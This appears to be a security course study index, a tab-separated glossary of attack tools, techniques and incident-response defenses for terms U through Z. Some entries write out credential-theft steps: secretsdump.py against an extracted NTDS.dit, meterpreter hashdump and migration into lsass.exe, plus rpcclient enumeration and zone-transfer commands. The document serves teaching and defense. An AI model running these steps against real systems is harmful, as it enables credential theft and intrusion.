Unusual Scheduled Tasks	1	71	look for unusual scheduled tasks, especially run as SYSTEM, user in admin group, or blank username
update *table* set *field* = *'value'*	4	88	used to update for SQL injection

UPX	5	19	• packing algorithms and tools
URG - 3 Way	2	100	Urgent data is included
URL re-crawl request	2	51	• URL re-crawl request submission form at Google Webmaster Tools • this will remove the page the next time the google bot crawls your website, which will likely occur within 24 hours • must fill out the form and alter the page on your own website, using a robots.txt file or a meta tag to indicate that you really want it removed. Google automatically goes to that page to see if it has been altered to include the robot.txt file or removal meta tag. So as, you have to coordinate with your website administrator to have pages removed from Google.
URL session tracking	4	113	user ID is passed in the URL • on browser location line you see user ID number or set of characters
URLs long - Web Proxy Data (Enterprise IR)	1	122	**many variants of malware will use long URLs either as a command and control mechanism or a way to deliver payloads**; Regular review can uncover compromised systems which are connecting to know bat command and control sites. Review the URLS being visited, and review user agent strings.
US-CERT	5	159	Unites States Computer Emergency Readiness Team. Useful mailing list, less cluttered than BugTraq. Includes major vulnerabilities and attack scenerios.
User Account harvesting: Bad userID	4	77	example screen shot of a website's return for a bad user ID
useradd -d /home/fred fred	1	172	creates account fred • will NOT create home directory or password info
Using Samba RPC Client from Linux For Mor e Info	2	141	$ rpcclient -U [username] [WinIPaddr] establish a session You have an rpcclient prompt with many commands available - enumdomusers: List users - enumalsgroups [domain]|[builtin]" List groups (stands for "enum alias groups") - lsaenumsid: Show all users SIDs defined on the box - lookupnames: [name]: Show SID associaled with user-or group name - lookupsids [sid]: Show user name associated with SID - srvinfo: Show OS type and version The rpcclient man page lists hundreds of other commands - Those listed here are the most useful and a lab covers them shortly
utmp	5	70	log file: bad login entries for failed logins /var/log/btmp log file: currently logged in users /var/tmp/utmp log file: past user logins /var/tmp/wtmp
Veil	5	18	AV bypass tool, found in social engineering tool kits
Veil Toolkit	5	18	• Wrapper software that utilizes some techniques to bypass AV engines. Also found in the Social Engineering Toolkit.
Veil-Evasion	3	106	create the macro we use to insert into our malacious file • example on page
Version scans	2	103	tried to determine version number of programs listening on ports
Virtual FreeEx	5	36	freuup the resource consumbed by after victim thread or process finsihed running
Virtual Network Computing (VNC)	5	9	• app-level trojan horse • legitimate but often abused • many AV won't detect, most popular remote control program •
VirtualAllocEx	5	36	Allocating space in the vitctim process for the parqameters required by the DLL to be injected
Vitriol	5	48	Kernel mode rootkit technology where attacker inserts a hypervisor between the hardware and the OS. • uses Intel VT-x technology • implements a hypervisor underneath MacOS X
vmlinuz	5	47	File where kernal functionality lies on Linux. Typically stored in /boot directory
VMware	1	160	emulates varios pc hardware components in software • multiple guest OS
VMware config options	1	165	how to access the optionis settings or hit CTRL-D
VMware controlling screeens	1	164	3 screen view Navigation Bar Mode • Full-Screen Mode • quick search Mode
Vmware Machines	1	162	consist of files in the host OS, grouped in a single directory
VMware network options	1	166	host-only, bridged network, NAT
VMware uses	1	161	incident response • malware analysis • digital forensics • ethical hacking • Practice hacking
VNC Client Modes	5	12	Two modes- active connection to server listening on a port (TCP 5900 by default) Listening mode- waiting for server to send a connection to the client. Called "shoveling" GUI. (Uses TCP 5500)
VNC- Platforms	5	11	Interoperable with Windows, Linux, Solaris, HP-UX 11, MacOS, and embeded in IoT devices. Client or server can be on any platform, so use a Windows box to control Unix or vice versa.
VNC- Virtual Network Computing	5	10	Has legitimate uses in order to provide remote GUI functionality. Uses a client-server architecture. Sessions can be encrypted. It can also be used as an app-level trojan horse. Operated on TCP port 5900. Also included in a metasploit payload. Listens on port 5900
VNC- Virtual Network Computing - for good	5	10	legitimate remote administration • carry it across an SSH session using SSH protocol version 2 benefiting from strong authentication and encryption SSH provides
Voice Over Misconfigured Internt Telephones (VOMIT)	1	46	used to turn packet catpure files into audio files

VoIP conversations into Audio files (VOMIT)	1	46	Wireshark, Cain, VOMIT can take captured packets in clear text and turn into a VoIP audio conversation
Volatility Framework	1	97	used to capture and analyze memory dumps • creates cryptographic has automatically
VPN usage Poicy	1	26	include warning banner that all systems connecting are subject to remote searchs. GRR Rapid Response is focused on remote live forensics.
VSAgent			VSAgent is a Python tool that uses Base64 encoded C2 commands in an HTML field called VIEWSTATE
Vulnerability Analysis after eradiation	1	108	system and network analysis • search for related vulnerabilities • scan entire network for intersting ports using Nmap • Use Nessus, OpenVAS, Rapid7, NeXpose, Qualys for vulnerability scanning • often 2 machines exposed not just 2
Vulnerability Scanners	2	121	Tool that help map a network, scan for open ports, and find various vulnerabilities. They automate security checks across a large number of systems over the network.Generate reports. Tests against a list of known exploits. Generates pretty reports. • Human interface needs to review how vulnerabilities can affect a network when combined
Vulnerability Scanners - available	2	122	Rapid7 InsightVM, Saint, BeyondTrust Retina Network Security Scanner, Nessus, OpenVas
Vulnerability Scanners - Limitations	2	121	The tool only check for vulnerabilities that they know.The tool tend to be flat. They look for vulnerabilities but most cannot exploit them and pivot beyond initial surfce target to find other targets and vulnerabilities. Disable DOS attacks They don't perform detailed correlation among many vulnerabilites to ascertain overall risk. Generate reports. Information overload. What do you do with a 2000 page report?
Vulnerability Scanners - Unix/Linux	2	127	Close all unused ports; shut off unneeded services; apply system patches; run credentialed scans (username and password); edit /etc/inet.d and rc.d
Vulnerability Scanners - Web based	2	122	Web-based Application service providers - Qualys, McAfee's Foundscan
Vulnerability Scanners - Windows	2	127	Close all unused ports; shut off unneeded services; apply system patches; run credentialed scans (username and password);
Vulnerability Scanners Defenses	2	127	**Preparation** • Close all unused ports • Shut off all unneeded services • In Windows, stop or delete services in services control panel, as discussed earlier • In Unix, edit /etc/inetd.conf or /etc/xinet.d files, as well as rc.d files (remember chkconfig from earlier?) • Apply all system patches • Keep up-to-date; Disable DOS attacks Run credentialed scans of your environment -Review results by Plugin ID • **Identification** • Utilize Intrusion Detection System signatures • Most vulnerability scanners trip hundreds of signatures
Vulnerability Scanning Tools	2	122	Commercial - Rapid7 Nexpose, Saint, BeyondTrust (Retina), Nessus and OpenVAS. Web-based application service providers - Qualys and McAfee's Foudscan.
Vulnerable Systems Searches	2	49	• Can perform a variety of searches associated with commonly exploited systems • Available remote desktop systems - ext -rdp rdp • Default web material (Apache, IIS, Cold Fusion, etc.) • Web based FileMaker Pro databases - "Select a database to view" • Make sure to use quotes! • Indexable directories - intitle -index.of "parent dirctory" • UserIDs and passwords • Shell history (look for common shell names and commands) • Video cameras (inurl -"ViewerFrame?Mode=") • FOCA also has the ability to identify many of these vulnerabilities as well
W3af - Web application attack and Audit Framework	4	116	W3af - includes numerous features, implmented in Python, including a Man in the Middle proxy for manipulating web apps.
War Dialer Defenses	2	64	• **Preparatio**n - effective dial-up line and modem policy for out-of-band access is crucial • Inventory all dial-up lines with business need • Conduct war dialing exercises against your own network • Reconcile your findings against inventory • Utilize WarVOX • Get list of phone numbers based off phone company's bills since they make sure to get paid • **Train users to use affective PIN passwords for their**
War Dialers	2	60	older technique, but still successful • dial a sequence of telephone numbers attempting to locate modem carriers or a secondary dial tone • often, an unprotected modem provides the easiest method of penetrating a network
War Dialers - Attack Findings (so now what)	2	63	Focus on modems or phones • review war dialer logs and look for familiar login prompts or warning banners • connect to each discovered modem- often time, you will find a system w/o a password (old neglected machine still on the network, router) • If there is a userID/password prompt, guess - make it an educated guess, based on the system as many systems will tell you what platform they are- what is the prompt - what are the default accounts / passwords - what are common things associated with the target
War Dialers - getting numbers	2	60	user's queries to mailing lists and news groups • OSINT search results • your organizations website may include number• social engineering
War Dialers UserID and Password	2	63	root, sync, bin, nobody, operator, manager, admin, administrator, system, days of the week, Company Name, Comany_Product.....
War Dialing - Containment	2	65	Shut off modems when they are discovered - Know whom to call in your telcom group and at the phone company to geographically isolate a modem

War Dialing - Eradication / Recovery	2	65	Remove renegade modems from network - If modem is absolutely required, change phone number and secure it with strong authentication(token, crypto, etc)
War Dialing - Identification	2	65	Activate scanning detection functionality in your PBX, if available - Consider "PBX Firewall/IPS", such as SecureLogix Voice IPS • Monitors trunk connecting PBX to phone network, looking for fax tones
war driving	2	67	scanning for wireless networks, sometimes done while driving
War Driving Defense - Preparation	2	84	use WPA2 and plan for WPA3 • WPA3 offers MFP, encryption for open networks, improved security testing of Wi-Fi Certified Devices • use enterprise authentication using certificate based or 2 factor EAP method (EAP/TLS; EAP/PEAP or EAP/TTLS) • PSK is okay from home, but not inteded for Enterprise Networks • use upper layer TLS encryption for critical data
War Driving Defenses - Identification	2	85	• Wireless IDS tools are starting to get some traction • Aruba Networks, Motorola AirDefense, Air Magnet, and others offer products • IBM offers such services as well on a subscription basis, using Linux-based sensors • Cisco (and others) offer options to use existing access points to detect unregistered access points inserted into the network; they can generate an alert or a Denial of Service (Avoid this due to legal implications) • Containtment, Eradication, Recovery - Remove renegade access points
War Room	1	36	Should be a place where you can safely display information The room should have a lockable room and a lockable cabinet Should be a room not a cubicle. Have the ability to make the room as comfortable as possible.
Warning banner for insider threats	1	150	access to system limited to company authorized activity • attempted or unauthorized access, use, mods is prohibited • unauthorized users face criminal/civil charges • use of system will be monitored/recorded • company can provide records to law enforcement
Warning Banners	1	22	Warning Banners should limit the presumption of privacy; should say system use WILL be monintored and recorded • Should advise user that system is limited to company-authorized activity. If monitroring reveals possible evidence of criminal activity, the company can provide the records to Law Enforcment. Legal reviewed be careful of local privacy laws (ie Europe)
WarVOX	2	61	War Dialer that realies on VoIP service provider that supports Inter-Asterisk eXchange IAX. Can dial over 1,000 numbers per hour • supports caller ID spoofing - can specify a number 555-555-XXXX - can be configured with SELF as the caller ID value, which sets the caller ID value to the same number it is dialing
WarVOX PostgreSQL database	2	62	used by WarVOX to store wardialing results
WarVOX Results	2	62	records an MP3 audio file associated with each number dialed and answered, results stored in a PostgreSQL database • provides a series of signatures to apply against captured audio to determine whether a modem, fax, machine, voice mail box, or a specific human voice answered the call • because WarVOX records all the audio for later analysis, new signatures can be applied against already gathered results, making WarVOX flexible -displays in browser: number dialed, type of system that answered, signal over time, spectrum
Wayback Machine	2	46	• www.archive.org• more thorough archives• features cached pages from billions of web pages for the last several years• includes multiple views over time of each site• more popular sites have more frequent snapshots in the archive• lets you interactively surf the cached pages • images not located on the current site are loaded from the archive cache, but if the images are still on the original site, they are loaded from there
WCE	4	54	Pass the Hash tool; supports Windows Vista, 7, and 2008 server. Recent versions of WCE also support pass the token for Microsofts Kerberos, in addition to pass the hash features for LANMAN Challenge/Response, NTLMv1, and NTLMv2
Web App attack	2	4	a step under exploiting in the attacks process
Web App Proxies	4	116	Zap Proxy - a fork of thte older Paros Proxy tool which is a very feature rich. (Java) --Burp Proxy - is part of the burp suite of web application assessment and pen testing tool. (Java)---W3af - includes numerous features, implmented in Python, including a Man in the Middle proxy for manipulating web apps. (Python)--Odysseus/Telemachus - provide useful feautees for detailed analysis fo request and responses showing graphically how sets of request and response relate.---Fiddler - an amazing proxy ttool for ranlysis of HTTP requests and responses, with plug-in that support altering scripts passign through the proxy on the fly, (Windows)---WebScarab - OWASPs proxy is solid and updated on a regular basis.---HP SPI Dynamics suite of tools from HP include a really good manipulation proxy
Web App state maintenance - browsers	4	114	Firefox and Chrome offer developer tools designed to debug websited and ID how a target website interacts with a browser •• examples on page

Web App state maintenance attack	4	113	during initation of session (user authentications) most apps generate a session ID and pass it to the browser • URL session tracking, hidden form elements, and cookies are often used to track user sessions • browser sends this info back to server with each subsequent interaction durring a session
Web Application - Cover the entire application	4	119	Any time a variable is passed from a server back to the client, you have to make sure that it's encrypted properly or hashed for its integriity to be guarded. You'll cover 99.9 percent of the data elements in a web application , but you'll miss just one variable passed to the browser. If that variable is a session credential, the attacker can comb through your application to find the one instance where you don't properly protect the integrity of the cookie or hidden form element
Web application attack and audit framework W3af	4	116	W3af - includes numerous features, implmented in Python, including a Man in the Middle proxy for manipulating web apps.
Web Application Defenses with WAF	4	120	• Preparation with WAF: - Defenders can play the proxy game, called a Web Application Firewall(WAF) • sit in front of web server and monitors state elements and other inbound data that are passed to or from web app • If state elements that should be static come back altered, the proxy resets them and rings bells and whistles • SecureSphere Web Application Firewall • Citrix NetScaler App Firewall • F5 Application Security Manager (ASM) • Free OWASP Stinger (focuses on input filtering) • Free ModSecurity offers similar protections, although it is not a proxy
Web content - Filter - Proxy Data (Enterprise IR)	1	122	Regular review can uncover compromised systems which are connecting to know bat command and control sites. Review the URLS being visited, and review user agent strings.
web proxies	5	92	reverse http shells will work through web proxies; uses HTTP GET, supports authenticating thru web proxy and static pw • can be used to bypass client-side filtering of user input
Web Proxy Data	1	122	log review can uncover compromised systems connecting to bad C2 sites • review URL length • review user agent strings for old systems or outdated versions could be malware
Web Proxy Data (Enterprise IR)	1	122	Many organizations do not review these logs-**Often HR issue**---Regular review can uncover compromised systems which are connecting to know bat command and control sites. --Review the URLS being visited, and **review user agent strings**.--Restricts employee access to objectional sites.
Web Proxy Filtering	1	147	Forcepoint, Symantec Blue Coat to filter unwanted websites • shows organization doesn't condone activity
Web-Based Recon / Attack Tools	2	57	• numerous websites offer the capability to research or even attack other sites• Can perform- traceroute- ping- port scans- DoS tests- DNS lookups- reverse lookups• Websites- SHODAN - www.dnsstuff.com -www.tracert.com - www.traceroute.org - www.network-tools.com - www.securityspace.com
WebGoat	4	74	buggy web app by OWASP for tester to download and attack FREE * user input validation code, including filters in PHP, Java and as a regular expressions.
Website Searches	2	39	searching targets website - •Press releases •White Papers •Design Documents •Sample deliverables •Open Positions •Key People •Contacts (open position, key people, contact ; Especially useful for attackers) Modern search engines i.e. Google and Bing, include the ability to search for sites linking to the target using this search string (link :www.[target_company].com) Other open-source information: Blogs, namechk, Newsgroups, newspapers and magazines, Orkut, Public Databases, Social Engineering (SE) pretexts, facebook, twitter, Myspace, LinkedIn, etc.
Website Searches Defenses	2	42	**Preparation** -• Limit and control information• Know what information a company is giving away and perform risk analysis• Make employment ads more general• Limit information on a website• Determine what other sites are linked to your company• Periodically check various open sources of information to see what your company is leaking• Analysis can be done be the security organization, legal department, or public relations, **Identification** -• Look for **web spider / web crawler activity** • Logs show systematic access of entire website, page by page in a short period of time (within 5 minutes)• Could just be thee google bot or another search engine• However, could be a sign of pre-attack recon Containment, Eradication, Recovery - N/A
webspider/web crawler	2	42	• Access every page on your site in a short period of time (say within 5 min)• Could be a sign of pre-attack recon • Likely activity is just the crawler of a search engine (like Google-bot)
well-intended employee	1	149	makes mistake that allow proprietary info to leak or access to data
Wep Application Defenses	4	121	• Identification - Users complaining of account usurpation • Containment - Strongly advise shutting down app while it gets fixed - Otherwise, quarantine accounts that have fallen victim • Eradication - Remove attacker's data from victim accounts• Recovery - Carefully restore accounts and reset passwords for victim users - Monitor these accounts very carefully
wevtutil qe security /f:text	1	72	command line tool for security logs on Win 7 - 10

Where does identification occur?	1	48	Network perimeter detection • Host perimeter • System-Level (host) detection • Appicatioin-level
whitelist, application	4	70	a good application whitelist product or Windows Software Restriction Policies are better preparation for Worm and Bot defense than Blacklist Antivirus
Whois	2	19	stopped being useful in 2016 with introduction of European requirements for General Data protection Regulation ••screen shot p20
whois - historical data	2	20	info can be purchased for $1 per domain report from https://12whois.com
whois - reverse lookup	2	21	allows attacker to gather limited domain info (domain name, creation date, registrar) using registrant name or emamil address • https://viewdns.info
Whois Lookups Domain Name Registration	2	19	Must provide - •address •phone numbers •points of contact •authoritative domain name servers. This information can be used in social engineering, war dialing/driving
Widnows Domain Controller Hashes - 1	4	19	as admin obtain NTDS.dit and system registry hive data using built-in ntdsutil.exe to back up AD data and export to attacker's machine • example on page
Widnows Domain Controller Hashes - 2	4	20	after using the ntdsutil to download the NTDS.dit and SYSTEM registry hive data, attackers decrypt the files using: python /usr/share/doc/python-impacket/example/secretsdump.py -system registry/SYSTEM -ntds Active\Director/ntds.dit LOCAL
Wi-Fi Alliance	2	73	body that tests and certifies devices as meeting consistend set of requirements such as WPA, WPA2/3
Wi-Fi Analyzer for Android	2	70	uses active scanning on android platforms • includes AP signal meter • requires location services permissioin on • in-app banner ads can collect on your location
Wi-Fi Authentication Options	2	73	Authentication Options include: Pre-Shared Key (PSK), Extensible Autentication Protocol (EAP/TLS), Simultaneous Authentication of Equals (SAE) which eliminates offline password-guessing attacks(WPA3)
Wi-Fi Imposters	2	77	Aps are common way for attacker to lure victim into connecting to a network impersonating another • WiFi Pineapple made for linux
Wi-Fi Pineapple	2	78	made for Linux • web interface or linux shell • add SSID to impersonate • load attack Module • switch on to attack ••example and attack module list on page
Wi-Fi Security Options	2	73	•Wi-Fi Protected Access (WPA) is weak, uses Temporal Key Integrity Protocol (TKIP), no longer supported •WPA2, uses AES encryption Cipher Block Chaining Message Authintication Check Protocol (CCMP) 128 bit •WPA3 announced Nov18, uses AES 256bit with Galois Counter Mode (GCM) •Authentication Options include: Pre-Shared Key (PSK), Extensible Autentication Protocol (EAP/TLS), Simultaneous Authentication of Equals (SAE) which eliminates offline password-guessing attacks(WPA3) •Wireless Admins choose supported encryption supported by all devices
Win2K Pro Gold Template	5	54	CIS-developed template for Windows Security.
win32k.sys	5	47	File where kernal functionality lies on Windows. Is integrity checked by NTLDR before kernel is loaded into memory. See also: ntoskrnl.exe, which does the same thing.
Windows 10 Password Hashes 1	4	21	use meterpreter and run hashdump, if that fails move the meterpreter shell to run inside of lsass.exe with ps -S lsass.exe at the meterpreter prompt OR migrate -N lsass.exe (on new meterpreter) run hashdump again
Windows 10 Password Hashes 2	4	22	use the smart_hashdump command • identify system processes that match native processor architecture (not svchost.exe), migrate to that PID using migrate command • run post/windows/gather/smart_hashdump to retrieve hashes from the dist • will retrieve local account password hashes, if system is a DC will attempt to get local accounts and domain account password hashes • will fail if User Access Control (UAC) enabled
Windows Credential Editor (WCE)	4	54	Pass the Hash tool; supports Windows Vista, 7, and 2008 server. Recent versions of WCE also support pass the token for Microsofts Kerberos, in addition to pass the hash features for LANMAN Challenge/Response, NTLMv1, and NTLMv2
Windows Defender Credential Guard	4	55	leverages available virtualization features to isolate credentials from the main OS
Windows Defender Eploit Guard	3	90	only available for Win10 • security improveents like exploit mitigtion technicques, system rules to reduce potential attack serface, net protection and filtering, controlled access to key system folders
Windows Event Forwarding - WEF	5	83	leverages built-in WinRM service to pull/push logs to central repo for aggregated analysis
Windows Event Logger	5	81	Produces a set of buffer files called .LOG files.
Windows Logs	5	81	Windows log uses a set of files(called.LOG files) SYSTEM.LOG, SECURITY.LOG, AND APPLICATION.LOG (not readable). Each .LOG file is periodically rewritten into an .EVT format automatically. SYSTEM.EVTX, SECURITY.EVTX, and APPLICATION.EVENT(only readable through Event Viewer)
Windows Password Hashes	4	23	username:userid:LANMANhash:Nthash • empty passwords have distinct lettering AADBB:DCFED example on the page for both
Windows Rootkit Detectors	5	56	Sophos, McAfee Rootkit remover, GMER

Windows Software Restriction Policies	4	70	a good application whitelist product or Windows Software Restriction Policies are better preparation for Worm and Bot defense than Blacklist Antivirus
Windows stop service command	4	111	sc stop *servicename* sc config servicename start= disabled
Windows VNC Server DLL Inject (Metasploit Payload)	3	83	this payload allows the attacker to remotely control the GUI of the victim machine sent as a payload. A lot of traffic - easy to detect
WinNuke - DoS	4	124	malformed packet attack; remote DoS attack
winrm quickconfig	1	130	enable windows remote management by running this on each system or use Group Policy
WinVNC	5	13	Application-level trojan. Runs in two modes: app mode and service mode. App mode, a small VNC icon is displayed in the windows tool tray. In service mode, the VNC shows up as a running service on the machine and in the tool tray. In newer versions, the icon can be ommitted from the tray, but will still be viewable on the services and task manager.
Wireless network Recon	2	67	war driving • looking for wireless networks that are typically internal to an organization's network, unmonitored, unprotected (IoT, mobile devices), insecure and vulnerable to attacks • done in 2 ways active scanning and passive scanning p68 • tools: inSSIDer, Kismet, WiFi Scanner Android
Wireless Recon Scanning	2	68	requires a proximity dependant on antenna • 2 methods **Active Scanning**: sends *probe request* messages on all channels to named SSID, or broadcast SSID oberving the responses; **Passive Scanning** listens for *beacon* frame regularly sent by an AP
Wireshark Powerful Multipurpose protocol Analyzer	3	27	powerful muti-purpose protocol analyzer • formerly known as ethereal • open source • sniffing tool • runs on most modern Linux and Unix environments including Solaris, Mac OS X, FreeBSD, HP-UX, AIX, OpenBSD, and windows (from Win98 and on)• can capture traffic from the network, read, parse, and display packet capture files• can process already captured files (in tcpdump or a dozen other formats)• parsers for over 500 different protocols• GUI mode or command line terminal mode (Tshark)• keep installation up to date and patched- buffer overflow flaws in protocol parsers abound- each one of these flaws could allow an attacker to run arbitrary commands on your machine, just by sending you a packet or two
wmic /node: switch	1	127	can run WMIC commands on multiple systems at once and report back CVS or XML
wmic /node:@systems.txt product get name,version,vendor /format:csv > SoftwareInventory.txt	1	127	command that accesses multiple systems from a .txt document, and provides a csv report to a named txt document
wmic /node:*MachineName* /user:*AAA* /password:*PW*	1	113	remote WMIC command to look for unusual processes
wmic process get name, parentprocessid, processid	5	26	command to display list of running proccesses
wmic process get name,parentprocessid,processid	1	65	details about specific fields of a process
wmic process list brief	1	65	few details about running processes
wmic process list full	1	65	full details about running processes • screen shot in WB page 13
wmic process pid delete	2	111	kills a process
wmic process where processid=[pid] get commandline	5	28	command line invocation of a process
wmic process where processid=pid get commandline	1	65	focus on specific process
wmic product get name,version,vendor	1	127	get info about installed producs on a local system
wmic startup list full	1	68	see list of autostart programs
wmic stop service	1	111	refer to sc command in windows sc stop *service* sc config *service* start= disabled
wmic useraccount list brief	1	113	WMIC command to check for accounts
wmpted.c	5	71	Unix/Linux log editing tool. One of several tools.
Word Mangling	4	10	Same as "Hybrid Attacks". Concatenates items (numbers, letters) to the dictionary words in a dictionary attack (e.g.: password12).
wordpress	1	55	example showing attacks against the WordPress website logs
WorldWebBugs	1	94	call back from non-attributable system to ID where data is • built in to Active Defense Harbinger Distro

Worm and Bot - Defenses	4	70	• **Preparation:** - Buffer overflow defenses help a lot here • Patches, non-executable system stacks, and host-based IPS - A process for rapidly testing and deploying patches when available - Use Application whitelisting or Software Restriction Policies - Encrypt data on your hard drives • If it's stolen by a worm or bot, attackers can't read it unless they also steal the key • **Identification:** - Antivirus solutions updated regularly (daily) at the desktop, mail server, file server • **Containment:** - Incident response capabilities linked with network management - may need to cut off segments of your network in real time • **Eradication/Recovery:** - Use AV tool to remove infestation, if possible, or rebuild
Worm and Bot; Defenses	4	70	• **Preparation:** - Buffer overflow defenses help a lot here • Patches, non-executable system stacks, and host-based IPS - A process for rapidly testing and deploying patches when available - Use Application whitelisting or Software Restriction Policies - Encrypt data on your hard drives • If it's stolen by a worm or bot, attackers can't read it unless they also steal the key • **Identification:** - Antivirus solutions updated regularly (daily) at the desktop, mail server, file server • **Containment:** - Incident response capabilities linked with network management - may need to cut off segments of your network in real time • **Eradication/Recovery:** - Use AV tool to remove infestation, if possible, or rebuild
Worm Evolution	4	60	• The worm attack vector is very promising for attackers• Be on the lookout for worm evolution• Multi-exploit, multi-platform, zero-day, fast-spreading, *polymorphic* , truly nasty *metamorphic* worms• beyond conceptual ideas, much of the source code for constructing really powerful worms is readily available in piece parts scattered around the Internet.
Worm, Sasser	4	63	exploited Windows LSASS vulnerability | vulnerabilitty discovered and patch released April 13, 2004 | worm released 3 weeks later
Worm, Zotab	4	63	exploited the UPnP flaw | patch released august 2005 | worm/bot combo released 3 days later
Worms	4	59	automated attack tools that spread via networks • once a work hits a machine, takes it over, uses it to scan for other other vulnerable machiens to conquer and repeat, thus propagating across a network fast self-replecating • each instance of a worm is a "segment" • originally designed by xerox as an efficient way to spread software accross a company -- - Robert Tappan Morris Jr released a worm that took down major components of the nascent Internet way 1988• self replicates without using a host file• primary damage is caused by sucking up network bandwidth or system processing cycles• worm release cycle has involved a new breed of worm every two to six months
Worms : Zero-day Exploit	4	63	• nearly every single worm weve seen has used vulnerabilities that weve already known about• Patches were already available, just not widely deployed• Sasser exploited Windows LSASS vulnerability - Vulnerability discovered and patch released- April 13 2004 - Worm released- 3 weeks later• Zotob exploited the UPnP flaw - Patch released- August 2005 - Worm/bot combo released- 3 days later• In the future, we'll see worms that have zero-day exploits - The first time we will encounter the particular attack and vulnerability will be when we see a worm spreading to millions of systems - Widespread prevention becomes difficult or impossible• Stuxnet included 4 zero-day exploits for Windows
Worms Multiplatform	4	62	• Most worms to date have targeted only one operating system type per worm - Nimda- Windows - Ramen- Linux - Sasser - Windows - Conficker - Windows - Morto - Windows• A very small number have been cross platform - IIS/Sadmind - Windows and Solaris - Stuxnet - Windows and altered messages to manipulate SCADA systems• In the future, a single worm will attack many OS types, all rolled up into a single worm -Linux, Windows, Solaris, BSD, AIX, VMS• Makes fixing systems much harder - You must patch a bunch of system types instead of just one - more coordination required - That'll slow down our response, letting the worm spread farther and faster
Worms, Multi-exploit	4	61	• a worm uses its exploit warhead to penetrate a computer• To date, most worms have had only one or two exploits built in - • Ramen had 3 exploits(buffer overflows)• Nimda had approximately 12(buffer ovrflows, browser vulnerabilities, Outlook E-mail problems)•Original Conficker had 3 (buffer overflow with MS08-067, USB copying, and spread via SMB shares w/guessable passwords)• Stuxnet had a variety of mechanisms: File Explorer zero-day, USB infection, and more• New worms will likely follow the multi-exploit model - Dozens of ways to penetrate systems• If youve patched against N-1 vulnerabilities, the worm will still get in through hole N

WPA, WPA2, WPA3	2	73	discussed at length on page •Wi-Fi Protected Access (WPA) is weak, uses Temporal Key Integrity Protocol (TKIP), no longer supported •WPA2, uses AES encryption Cipher Block Chaining Message Authintication Check Protocol (CCMP) 128 bit •WPA3 announced Nov18, uses AES 256bit with Galois Counter Mode (GCM) •Authentication Options include: Pre-Shared Key (PSK), Extensible Autentication Protocol (EAP/TLS), Simultaneous Authentication of Equals (SAE) which eliminates offline password-guessing attacks(WPA3) •Wireless Admins choose supported encryption supported by all devices
WPAD	3	56	Web Proxy Auto-Detection. Attack succeeds when victim's browser locates PAC file (proxy settings) and connects directly to the attacker's proxy
Wrappers	5	18	wrap a backdoor tool around another application. Take two inputs and produce one output melded together into a single executable. • Another name for wrappers is "binders" or "EXE binders" • Metasploit has tools to convert .exe into .vba and/or .vbs to insert malware into .doc and .xls • VEIL and SET are also used • Anti-Reverse Engineering for Executables pg 19 • Defenses pg 20
Wrappers and Packers- Defense	5	20	Immunity Debugger is used to combat unpackers. Supports python scripts and has a GUI and a CLI. It is a debugger to help reverse engineer malware and exploit development • NSA Ghidra tool: like Immunity but offers advance features and capabilities that parallel comercial tools while supporting modern user interface
Write Blocker	1	98	device that prevents process from writing to disk (internal/external) •
wtmp	5	70	log file: bad login entries for failed logins /var/log/btmp log file: currently logged in users /var/tmp/utmp log file: past user logins /var/tmp/wtmp
wzap.c	5	71	Unix/Linux log editing tool. One of several tools.
XOR / Random	3	92	goal is to use random and non-predictable values to protect the return pointer. Random Canaries use random vlues that are XOR'd with other parts of the stack data
XSS (Reflected) Walkthrough	4	100	view Diagram. It's called "reflected" because the script is reflected off the target website back into the user's browser
XSS (Stored) Walkthrough	4	101	view Diagram. It's called "stored" because the script is stored on the target website's backend and delivered back to the user's browser.
XSS: Access to Internal Systems	4	102	Using an XSS variant, the attacker could start scanning or otherwise attacking the internal network -Users browers can reflect the code back into the network using the user's access to scan, exploit, etc. Jikto: performs a Nikto scan of internal websites using XSS
XSS: Admin Apps	4	104	scripts inserted into admin apps that typically have logs storing information such as: date and timestamps, user accounts, transaction type & details, user agent string, possible packet logs. If viewed using web-based tools, could inject browser scripts.
XSS: Attacking Admins	4	105	view Diagram. The application gathers input from a user and stores it the log for administrator to view. Admin periodically views the stored content and the attacker inserts evil content and attack admins.
XSS: BeEF	4	103	Uses an XSS hook to take interactive control of a victim browser-Port Scanner-Visited URLs (history grabber)-Software inventoryAlter current web page view in browser (deface page)-Deliver Metasploit exploit to another target
XSS: Defenses	4	106	Filter user input, remove unneeded characters--You must filter on the server side, your application must filter out: Quotes,Semicolons,Other shell/script metacharacters--You cannot do this filtering using JavaScript on the client because the attacked can get around such filtering --Define characters that are ok (alpha and numeric), and filter everything else out •• a white list approach Modsecurity for Apache, IIS and Nginx includes such filtering capabilities Use IDS and/or logs showing user input with embedded scripts
Yoda's Protector	5	19	• packing algorithms and tools
Zap Features	4	117	Web app manipulation proxy that includes: Free Open source license, Tracks web site hierarchy, Supports client-side and server-side SSL certificates, Supports chained proxies, Includes a web spider, Builtin hash.encoding tool for calculating the ASCII/Hex/SHA-1/MD5 and Base64 encoding of plain text, Find and filter features, Automated SQL Injection and XSS detection mechanisms, Automatically scan sites passively, Customizable unsafe content detection.
Zap Proxy	4	116	Zap Proxy - a fork of the older Paros Proxy tool which is very feature rich
Zenmap	2	94	GUI can provided graphical portrayal of the network; output is accumulated view of recent scans conducted NMAP, showing each system identified during ping sweeping, along with the series of connections between the systems.
Zenmap Network Map	2	94	Cumulative view of recent scans. Supports changing focus, zooming and fisheye view.

Zigbee	2	82	Zigbee is a wireless protocol used by mainly internet devices such as home security systems, ac units and other internet ready systems; main issue with zigbee is security features are normally turned off in favor of powersaving options on most devices; kismet is able to sense packets from this protocol.
Zone Transfer Command - Linux	2	35	•nslookup on some unix variations •use dig $ dig @[DNS_server_ip] [target_domain] -t AXFR
Zotob Worm	4	63	exploited the UPnP flaw | patch released august 2005 | worm/bot combo released 3 days later
z-wave	2	82	Home automation systems, similar to zigbee